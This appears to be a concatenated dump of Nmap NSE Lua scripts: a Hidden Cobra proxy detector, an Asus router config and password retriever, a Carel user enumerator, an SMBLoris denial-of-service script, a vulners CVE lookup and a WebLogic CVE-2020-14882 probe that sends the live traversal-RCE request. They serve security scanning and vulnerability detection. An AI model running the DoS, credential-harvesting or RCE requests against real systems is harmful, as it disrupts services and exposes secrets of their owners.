STATE SERVICE 26 | -- 443/tcp open https 27 | -- |_hidden-cobra-proxy: Hidden Cobra Proxy found! 28 | -- 29 | -- Version 0.1 30 | -- 31 | --- 32 | 33 | author = "Borja Merino" 34 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 35 | categories = {"discovery", "malware", "safe"} 36 | 37 | portrule = shortport.portnumber(443, "tcp") 38 | 39 | function get_code(signature) 40 | local const = "\x00\x12\x34\x84" 41 | local xor, alu = 0 42 | local code = "" 43 | 44 | for i = 4,1,-1 45 | do 46 | xor = bit.bxor(string.byte(const,i),string.byte(signature,-1)) 47 | alu = string.unpack(">I",signature) + xor 48 | alu = alu % 1726 + 38361 49 | signature = string.pack(">I",alu) 50 | code = code..string.char(xor) 51 | end 52 | 53 | return code 54 | end 55 | 56 | 57 | action = function(host, port) 58 | local timeout = 500 59 | local status, recv 60 | 61 | local socket = nmap.new_socket() 62 | local timeout = stdnse.get_script_args("timeout") 63 | timeout = tonumber(timeout) or 500 64 | socket:set_timeout(timeout) 65 | status, result = socket:connect(host, port, "tcp") 66 | 67 | if not status then 68 | return nil 69 | end 70 | 71 | -- Send code to check the proxy installation 72 | local CODE = string.char(0x30, 0x30, 0x30, 0x30, 0xBE, 0xD9, 0x59, 0x6B, 0xA4, 0x7B) 73 | status = socket:send(CODE) 74 | 75 | -- Receive and analyze the answer 76 | status, recv = socket:receive_bytes(1024) 77 | if #recv == 10 then 78 | stdnse.print_debug(1, "Data received from the peer: %s", stdnse.tohex(recv)) 79 | local temp = string.sub(recv,0,4) 80 | local signature = string.reverse(temp) 81 | local code = get_code(signature) 82 | stdnse.print_debug(1, "Code obtained: %s", stdnse.tohex(code)) 83 | if code == string.sub(recv,5,8) then 84 | return ("Hidden Cobra Proxy found!") 85 | end 86 | end 87 | return nil 88 | end 89 | -------------------------------------------------------------------------------- /http-asus-wl500-info.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to retrieve the configuration settings from an Asus WL500 series 3 | wireless router. The information is retrieved from "/Settings.CFG" which is only 4 | available when authentication is disabled. 5 | 6 | The web administration interface runs on port 80 by default. 7 | ]] 8 | 9 | --- 10 | -- @usage 11 | -- nmap --script http-asus-wl500-info -p 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE REASON 15 | -- 80/tcp open http syn-ack 16 | -- | http-asus-wl500-info: 17 | -- | Device Model: WL520gc 18 | -- | Hardware Version: WL520GC-01-07-02-00 19 | -- | Software Version: 4.131.31.0 20 | -- | Operating System: linux 21 | -- | IP Address: 192.168.1.1 22 | -- | LAN Gateway: 192.168.1.1 23 | -- | DHCP Enabled: 1 24 | -- | PPPoE Username: pppoe_username 25 | -- | PPPoE Password: pppoe_password 26 | -- | WAN DNS: 127.0.0.1 27 | -- | Wireless Primary SSID: wireless_ssid1 28 | -- | Wireless Secondary SSID: wireless_ssid2 29 | -- | Wireless Channel: 1 30 | -- | Wireless Preshared Key: wireless_password 31 | -- | HTTP Username: admin 32 | -- |_ DDNS Enabled: 0 33 | -- 34 | -- @changelog 35 | -- 2012-01-24 - created by Brendan Coles - itsecuritysolutions.org 36 | -- 37 | 38 | author = "Brendan Coles [itsecuritysolutions.org]" 39 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 40 | categories = {"discovery"} 41 | 42 | require("url") 43 | require("http") 44 | require("stdnse") 45 | require("shortport") 46 | 47 | portrule = shortport.port_or_service (80, "http", {"tcp"}) 48 | 49 | action = function(host, port) 50 | 51 | local result = {} 52 | local path = "/Settings.CFG" 53 | local config_file = "" 54 | 55 | -- Retrieve file 56 | stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 57 | data = http.get(host, port, tostring(path)) 58 | 59 | -- Check if file exists 60 | if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then 61 | 62 | -- Check if the config file is valid 63 | stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path)) 64 | if string.match(data.body, "productid=") and string.match(data.body, "hardware_version=") and string.match(data.body, "s_version=") then 65 | config_file = data.body 66 | else 67 | stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 68 | return 69 | end 70 | 71 | else 72 | stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path)) 73 | return 74 | end 75 | 76 | -- Extract system info from config file 77 | stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path) 78 | local vars = { 79 | 80 | -- System settings -- 81 | {"Device Model", "productid"}, 82 | {"Hardware Version","hardware_version"}, 83 | {"Software Version","s_version"}, 84 | {"Operating System","os_name"}, 85 | 86 | -- LAN settings -- 87 | {"IP Address","lan_ipaddr_t"}, 88 | {"LAN Gateway","lan_gateway_t"}, 89 | 90 | -- DHCP settings -- 91 | {"DHCP Enabled","dhcp_enable_x"}, 92 | --{"DHCP Range Start","dhcp_start"}, 93 | --{"DHCP Range End","dhcp_end"}, 94 | 95 | -- PPPoE settings -- 96 | {"PPPoE Username","wan_pppoe_username"}, 97 | {"PPPoE Password","wan_pppoe_passwd"}, 98 | 99 | -- WAN settings -- 100 | --{"WAN IP Address","wan_ipaddr_t"}, 101 | {"WAN DNS","wan_dns_t"}, 102 | 103 | -- Wireless settings -- 104 | {"Wireless Primary SSID","wl_ssid"}, 105 | {"Wireless Secondary SSID","wl_ssid2"}, 106 | {"Wireless Channel","wl_radio_x"}, 107 | {"Wireless Preshared Key","wl_wpa_psk"}, 108 | --{"Wireless Encryption","wl_auth_mode"}, 109 | 110 | -- username and password -- 111 | {"HTTP Username","http_username"}, 112 | {"HTTP Password","http_passwd"}, 113 | 114 | -- DDNS settings -- 115 | {"DDNS Enabled","ddns_enable_x"}, 116 | {"DDNS Username","ddns_username_x"}, 117 | {"DDNS Password","ddns_passwd_x"}, 118 | 119 | } 120 | for _, var in ipairs(vars) do 121 | local var_match = string.match(config_file, string.format('%s=(%s)%s', var[2], "[^%c]+", "\0x00")) 122 | if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end 123 | end 124 | 125 | -- Return results 126 | return stdnse.format_output(true, result) 127 | 128 | end 129 | -------------------------------------------------------------------------------- /http-carel-data-server-users.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to retrieve all valid usernames from the HTTP component of Carel 3 | Pl@ntVisor (CarelDataServer.exe). 4 | ]] 5 | 6 | --- 7 | -- @usage 8 | -- nmap --script http-carel-data-server-users -p 9 | -- 10 | -- @output 11 | -- PORT STATE SERVICE REASON 12 | -- 80/tcp open http syn-ack 13 | -- | http-carel-data-server-users: 14 | -- | Administrator 15 | -- | Bob 16 | -- |_ Carel 17 | -- 18 | -- @changelog 19 | -- 2012-02-02 - created by Brendan Coles - itsecuritysolutions.org 20 | -- 21 | 22 | author = "Brendan Coles [itsecuritysolutions.org]" 23 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 24 | categories = {"safe", "discovery"} 25 | 26 | require("url") 27 | require("http") 28 | require("stdnse") 29 | require("shortport") 30 | 31 | portrule = shortport.port_or_service (80, "http", "tcp") 32 | 33 | action = function(host, port) 34 | 35 | local result = {} 36 | local path = "/" 37 | local http_content = "" 38 | 39 | -- Retrieve file 40 | stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) 41 | data = http.get(host, port, path) 42 | 43 | -- Check if file exists 44 | if data and data.status and data.status == 200 and data.body and data.body ~= "" then 45 | 46 | -- Check if the config file is valid 47 | stdnse.print_debug(2, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path) 48 | if string.match(data.body, ' 78 | -- @args smb-smbloris.timeout Time in seconds for the script to timeout. Default: 1000 79 | -- @args smb-smbloris.ports Number of ports to connect from. Default: 20000 80 | -- 81 | --- 82 | 83 | author = "Paulino Calderon, Wong Wai Tuck" 84 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 85 | categories = {"exploit", "dos"} 86 | 87 | hostrule = function(host) 88 | return smb.get_port(host) ~= nil 89 | end 90 | 91 | local host_down = false 92 | local TIMEOUT = 1000 -- number of seconds to timeout the attack 93 | local NUM_PORTS = 20000 -- number of ports to connect from 94 | local skts = {} 95 | local CRITICAL_VALUE_99 = 3.3 96 | local SMBLORIS_PAYLOAD = '\x00\x01\xff\xff' 97 | 98 | --- calculates the arithmetic mean for time by averaging the values 99 | -- @param times an array of timings 100 | -- @return the mean calculated from the array of timings 101 | local function get_mean(times) 102 | local sum = 0 103 | for _, time in pairs(times) do 104 | sum = sum + time 105 | end 106 | 107 | return sum / #times 108 | end 109 | 110 | --- calculates the std err for time by finding the variance the taking the sqrt 111 | -- @param times an array of timings 112 | -- @return the std err calculated from the array of timings 113 | local function get_standard_err(times) 114 | local mean = get_mean(times) 115 | 116 | local variance = 0 117 | for _, time in pairs(times) do 118 | variance = variance + (time - mean)^ 2 119 | end 120 | 121 | return math.sqrt(variance) 122 | end 123 | 124 | --- calcualates the confidence interval from timings 125 | -- @param times an array of timings 126 | -- @return the deviation from the mean signifying the 99% confidence interval 127 | local function get_ci(times) 128 | local std_err = get_standard_err(times) 129 | return CRITICAL_VALUE_99 * std_err 130 | end 131 | 132 | local function set_baseline(host) 133 | local times = {} 134 | -- sample 30 times 135 | for i=1, 30, 1 do 136 | local start_time = nmap.clock_ms() 137 | local status = smb.get_os(host) 138 | 139 | if not status then 140 | stdnse.debug1("Error querying SMB through OS, can't determine if host is alive") 141 | return nil 142 | end 143 | 144 | local end_time = nmap.clock_ms() 145 | 146 | table.insert(times, end_time - start_time) 147 | end 148 | 149 | local mean = get_mean(times) 150 | local ci = get_ci(times) 151 | return mean, ci 152 | end 153 | 154 | 155 | local function check_alive(host, mean, ci) 156 | local start_time = nmap.clock_ms() 157 | local status = smb.get_os(host) 158 | local end_time = nmap.clock_ms() 159 | 160 | -- if the get_os fails or it exceeds our 99% threshold we are reasonably 161 | -- confident that it is vulnerable 162 | if not status or (end_time - start_time) - mean > ci then 163 | host_down = true 164 | end 165 | end 166 | 167 | local function send_dos(host, port) 168 | if host_down then 169 | return 170 | end 171 | 172 | local socket = nmap.new_socket() 173 | 174 | local try = nmap.new_try() 175 | 176 | stdnse.debug1("Number of ports connected: %s", #skts) 177 | 178 | local status, err = socket:connect(host, port) 179 | socket:send(SMBLORIS_PAYLOAD) 180 | if status then 181 | table.insert(skts, socket) 182 | else 183 | -- do until it succeeds 184 | send_dos(host, port) 185 | end 186 | end 187 | 188 | action = function(host) 189 | port = smb.get_port(host) 190 | local vuln = { 191 | title = "Denial of service attack against Microsoft Windows SMB servers (SMBLoris)", 192 | risk_factor = "HIGH", 193 | scores = { 194 | CVSSv3 = "8.2 (HIGH) (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:F/RL:W/RC:C)" 195 | }, 196 | description = [[ 197 | All modern versions of Windows, at least from Windows 2000 through Windows 10, are vulnerable to a remote and uncredentialed denial of service attack. The attacker can allocate large amounts of memory remotely by sending a payload from multiple sockets from unique sockets, rendering vulnerable machines completely unusable. 198 | ]], 199 | references = { 200 | 'http://smbloris.com/', 201 | }, 202 | dates = { 203 | disclosure = {year = '2017', month = '08', day = '1'}, 204 | } 205 | } 206 | local report = vulns.Report:new(SCRIPT_NAME, host) 207 | vuln.state = vulns.STATE.NOT_VULN 208 | 209 | local timeout = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.timeout')) 210 | or TIMEOUT 211 | local num_ports = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.ports')) 212 | or NUM_PORTS 213 | local script_start = nmap.clock() 214 | local mean, ci = set_baseline(host) 215 | 216 | -- nil means the smb.get_os failed, we return since we cannot check 217 | if mean == nil then 218 | return 219 | end 220 | 221 | stdnse.debug1("Mean: %s, 99%% interval: ± %s", mean, ci) 222 | local timed_out = false 223 | -- each port allocates 128KiB 224 | -- max is 65000 instead of 65535 prevents crash of too many files open 225 | for i=1, num_ports, 1 do 226 | send_dos(host, port) 227 | 228 | if i % 1000 == 0 and i <= 60000 then 229 | -- prevents crash when i >= 61000 230 | check_alive(host, mean, ci) 231 | if host_down then break end 232 | end 233 | 234 | -- has it timed out yet? 235 | if nmap.clock() - timeout >= script_start then 236 | stdnse.debug1("Script timed out at %s", timeout) 237 | break 238 | end 239 | end 240 | 241 | if host_down then 242 | vuln.state = vulns.STATE.VULN 243 | end 244 | 245 | return report:make_output(vuln) 246 | end 247 | -------------------------------------------------------------------------------- /vulners.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | For each available CPE the script prints out known vulns (links to the correspondent info) and correspondent CVSS scores. 3 | 4 | Its work is pretty simple: 5 | - work only when some software version is identified for an open port 6 | - take all the known CPEs for that software (from the standard nmap -sV output) 7 | - make a request to a remote server (vulners.com API) to learn whether any known vulns exist for that CPE 8 | - if no info is found this way - try to get it using the software name alone 9 | - print the obtained info out 10 | 11 | NB: 12 | Since the size of the DB with all the vulns is more than 250GB there is no way to use a local db. 13 | So we do make requests to a remote service. Still all the requests contain just two fields - the 14 | software name and its version (or CPE), so one can still have the desired privacy. 15 | ]] 16 | 17 | --- 18 | -- @usage 19 | -- nmap -sV --script vulners [--script-args mincvss=] 20 | -- 21 | -- @output 22 | -- 23 | -- 53/tcp open domain ISC BIND DNS 24 | -- | vulners: 25 | -- | ISC BIND DNS: 26 | -- | CVE-2012-1667 8.5 https://vulners.com/cve/CVE-2012-1667 27 | -- | CVE-2002-0651 7.5 https://vulners.com/cve/CVE-2002-0651 28 | -- | CVE-2002-0029 7.5 https://vulners.com/cve/CVE-2002-0029 29 | -- | CVE-2015-5986 7.1 https://vulners.com/cve/CVE-2015-5986 30 | -- | CVE-2010-3615 5.0 https://vulners.com/cve/CVE-2010-3615 31 | -- | CVE-2006-0987 5.0 https://vulners.com/cve/CVE-2006-0987 32 | -- | CVE-2014-3214 5.0 https://vulners.com/cve/CVE-2014-3214 33 | -- 34 | 35 | author = 'gmedian AT vulners DOT com' 36 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 37 | categories = {"vuln", "safe", "external"} 38 | 39 | 40 | local http = require "http" 41 | local json = require "json" 42 | local string = require "string" 43 | local table = require "table" 44 | 45 | local api_version="1.2" 46 | local mincvss=nmap.registry.args.mincvss and tonumber(nmap.registry.args.mincvss) or 0.0 47 | 48 | 49 | portrule = function(host, port) 50 | local vers=port.version 51 | return vers ~= nil and vers.version ~= nil 52 | end 53 | 54 | 55 | --- 56 | -- Return a string with all the found cve's and correspondent links 57 | -- 58 | -- @param vulns a table with the parsed json response from the vulners server 59 | -- 60 | function make_links(vulns) 61 | local output_str="" 62 | local is_exploit=false 63 | local cvss_score="" 64 | 65 | -- NOTE[gmedian]: data.search is a "list" already, so just use table.sort with a custom compare function 66 | -- However, for the future it might be wiser to create a copy rather than do it in-place 67 | 68 | local vulns_result = {} 69 | for _, v in ipairs(vulns.data.search) do 70 | table.insert(vulns_result, v) 71 | end 72 | 73 | -- Sort the acquired vulns by the CVSS score 74 | table.sort(vulns_result, function(a, b) 75 | return a._source.cvss.score > b._source.cvss.score 76 | end 77 | ) 78 | 79 | for _, vuln in ipairs(vulns_result) do 80 | -- Mark the exploits out 81 | is_exploit = vuln._source.bulletinFamily:lower() == "exploit" 82 | 83 | -- Sometimes it might happen, so check the score availability 84 | cvss_score = vuln._source.cvss and (type(vuln._source.cvss.score) == "number") and (vuln._source.cvss.score) or "" 85 | 86 | -- NOTE[gmedian]: exploits seem to have cvss == 0, so print them anyway 87 | if is_exploit or (cvss_score ~= "" and mincvss <= tonumber(cvss_score)) then 88 | output_str = string.format("%s\n\t%s", output_str, vuln._source.id .. "\t\t" .. cvss_score .. '\t\thttps://vulners.com/' .. vuln._source.type .. '/' .. vuln._source.id .. (is_exploit and '\t\t*EXPLOIT*' or '')) 89 | end 90 | end 91 | 92 | return output_str 93 | end 94 | 95 | 96 | --- 97 | -- Issues the requests, receives json and parses it, calls make_links when successfull 98 | -- 99 | -- @param what string, future value for the software query argument 100 | -- @param vers string, the version query argument 101 | -- @param type string, the type query argument 102 | -- 103 | function get_results(what, vers, type) 104 | local v_host="vulners.com" 105 | local v_port=443 106 | local response, path 107 | local status, error 108 | local vulns 109 | local option={header={}} 110 | 111 | option['header']['User-Agent'] = string.format('Vulners NMAP Plugin %s', api_version) 112 | 113 | path = '/api/v3/burp/software/' .. '?software=' .. what .. '&version=' .. vers .. '&type=' .. type 114 | 115 | response = http.get(v_host, v_port, path, option) 116 | 117 | status = response.status 118 | if status == nil then 119 | -- Something went really wrong out there 120 | -- According to the NSE way we will die silently rather than spam user with error messages 121 | return "" 122 | elseif status ~= 200 then 123 | -- Again just die silently 124 | return "" 125 | end 126 | 127 | status, vulns = json.parse(response.body) 128 | 129 | if status == true then 130 | if vulns.result == "OK" then 131 | return make_links(vulns) 132 | end 133 | end 134 | 135 | return "" 136 | end 137 | 138 | 139 | --- 140 | -- Calls get_results for type="software" 141 | -- 142 | -- It is called from action when nothing is found for the available cpe's 143 | -- 144 | -- @param software string, the software name 145 | -- @param version string, the software version 146 | -- 147 | function get_vulns_by_software(software, version) 148 | return get_results(software, version, "software") 149 | end 150 | 151 | 152 | --- 153 | -- Calls get_results for type="cpe" 154 | -- 155 | -- Takes the version number from the given cpe and tries to get the result. 156 | -- If none found, changes the given cpe a bit in order to possibly separate version number from the patch version 157 | -- And makes another attempt. 158 | -- Having failed returns an empty string. 159 | -- 160 | -- @param cpe string, the given cpe 161 | -- 162 | function get_vulns_by_cpe(cpe) 163 | local vers 164 | local vers_regexp=":([%d%.%-%_]+)([^:]*)$" 165 | local output_str="" 166 | 167 | -- TODO[gmedian]: add check for cpe:/a as we might be interested in software rather than in OS (cpe:/o) and hardware (cpe:/h) 168 | -- TODO[gmedian]: work not with the LAST part but simply with the THIRD one (according to cpe doc it must be version) 169 | 170 | -- NOTE[gmedian]: take only the numeric part of the version 171 | _, _, vers = cpe:find(vers_regexp) 172 | 173 | 174 | if not vers then 175 | return "" 176 | end 177 | 178 | output_str = get_results(cpe, vers, "cpe") 179 | 180 | if output_str == "" then 181 | local new_cpe 182 | 183 | new_cpe = cpe:gsub(vers_regexp, ":%1:%2") 184 | output_str = get_results(new_cpe, vers, "cpe") 185 | end 186 | 187 | return output_str 188 | end 189 | 190 | 191 | action = function(host, port) 192 | local tab={} 193 | local changed=false 194 | local response 195 | local output_str="" 196 | 197 | for i, cpe in ipairs(port.version.cpe) do 198 | output_str = get_vulns_by_cpe(cpe, port.version) 199 | if output_str ~= "" then 200 | tab[cpe] = output_str 201 | changed = true 202 | end 203 | end 204 | 205 | -- NOTE[gmedian]: issue request for type=software, but only when nothing is found so far 206 | if not changed then 207 | local vendor_version = port.version.product .. " " .. port.version.version 208 | output_str = get_vulns_by_software(port.version.product, port.version.version) 209 | if output_str ~= "" then 210 | tab[vendor_version] = output_str 211 | changed = true 212 | end 213 | end 214 | 215 | if (not changed) then 216 | return 217 | end 218 | return tab 219 | end 220 | 221 | -------------------------------------------------------------------------------- /weblogic-cve-2020-14882.nse: -------------------------------------------------------------------------------- 1 | local string = require "string" 2 | local shortport = require "shortport" 3 | local nmap = require "nmap" 4 | local stdnse = require "stdnse" 5 | local http = require "http" 6 | local vulns = require "vulns" 7 | local table = require "table" 8 | 9 | description = [[ 10 | Detects the unauthenticated RCE in the Console component of Oracle WebLogic Server 11 | (CVE-2020-14882). 12 | ]] 13 | author = "Daniel C. Marques ('0xc0da')" 14 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 15 | categories = {"vuln", "intrusive"} 16 | --- 17 | -- @usage 18 | -- nmap -p 7001 --script weblogic-cve-2020-14882 19 | -- 20 | -- @output 21 | -- PORT STATE SERVICE 22 | -- 7001/tcp open afs3-callback 23 | -- | weblogic-cve-2020-14882: 24 | -- | VULNERABLE: 25 | -- | Unauthenticated RCE in Console component of Oracle WebLogic Server 26 | -- | State: VULNERABLE (Exploitable) 27 | -- | IDs: CVE:CVE-2020-14882 28 | -- | Risk factor: High 29 | -- | Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware 30 | -- | (component: Console) allows unauthenticated remote command execution. 31 | -- | 32 | -- | Disclosure date: 2020-10-29 33 | -- | References: 34 | -- | https://nvd.nist.gov/vuln/detail/CVE-2020-14882 35 | -- | https://blog.rapid7.com/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/ 36 | -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882 37 | -- |_ https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf 38 | -- 39 | portrule = function(host, port) 40 | -- Check from the weblogic-t3-info.nse script by Alessandro ZANN. 41 | if type(port.version) == "table" and port.version.name_confidence > 3 and port.version.product ~= nil then 42 | return string.find(port.version.product, "WebLogic", 1, true) and nmap.version_intensity() >= 7 43 | end 44 | return shortport.version_port_or_service({7001,7002,7003},"http")(host,port) 45 | end 46 | 47 | local function is_vulnerable_to_get(host, port) 48 | -- Triggers the vulnerability using a GET request as described in the original 49 | -- post: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf 50 | local result = false 51 | local probe = "/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String('nmap')" 52 | local request = http.get(host, port, probe) 53 | if (request.status and request.status == 200) and string.match(request.body, "quicklinksrowout") then 54 | result = true 55 | stdnse.debug(1,"Vulnerability can be triggered using a GET request") 56 | end 57 | return result 58 | end 59 | 60 | local function is_vulnerable_to_post(host, port) 61 | -- Triggers the vulnerability using a POST request as described in 62 | -- https://twitter.com/jas502n/status/1321416053050667009 63 | local result = false 64 | local options = { header={} } 65 | local path = "/console/images/%252e%252e%252fconsole.portal" 66 | local probe = {} 67 | probe['_nfpb'] = 'false' 68 | probe['handle'] = 'java.lang.String(%27nmap%27)' 69 | local request = http.post(host, port, path, options, nil, probe) 70 | stdnse.debug(1,"Status: %s", request.status) 71 | if request.status == 302 then 72 | result = http.response_contains(request, "UnexpectedExceptionPage", true) 73 | stdnse.debug(1,"Vulnerability can be triggered using a POST request") 74 | end 75 | return result 76 | end 77 | 78 | action = function(host, port) 79 | local vuln_status = vulns.STATE.NOT_VULN 80 | local vuln = { 81 | title = "Unauthenticated RCE in Console component of Oracle WebLogic Server", 82 | IDS = {CVE = 'CVE-2020-14882'}, 83 | risk_factor = "High", 84 | description = [[ 85 | Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware 86 | (component: Console) allows unauthenticated remote command execution. 87 | ]], 88 | references = { 89 | 'https://nvd.nist.gov/vuln/detail/CVE-2020-14882', 90 | 'https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf', 91 | 'https://blog.rapid7.com/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/' 92 | }, 93 | dates = { 94 | disclosure = {year = '2020', month = '10', day = '29'}, 95 | } 96 | } 97 | 98 | local report = vulns.Report:new(SCRIPT_NAME, host, port) 99 | 100 | if is_vulnerable_to_get(host, port) then 101 | vuln.state = vulns.STATE.EXPLOIT 102 | vuln.exploit_results = {"Exploited using the GET method"} 103 | elseif is_vulnerable_to_post(host, port) then 104 | vuln.state = vulns.STATE.EXPLOIT 105 | vuln.exploit_results = {"Exploited using the POST method"} 106 | end 107 | return report:make_output(vuln) 108 | end 109 | --------------------------------------------------------------------------------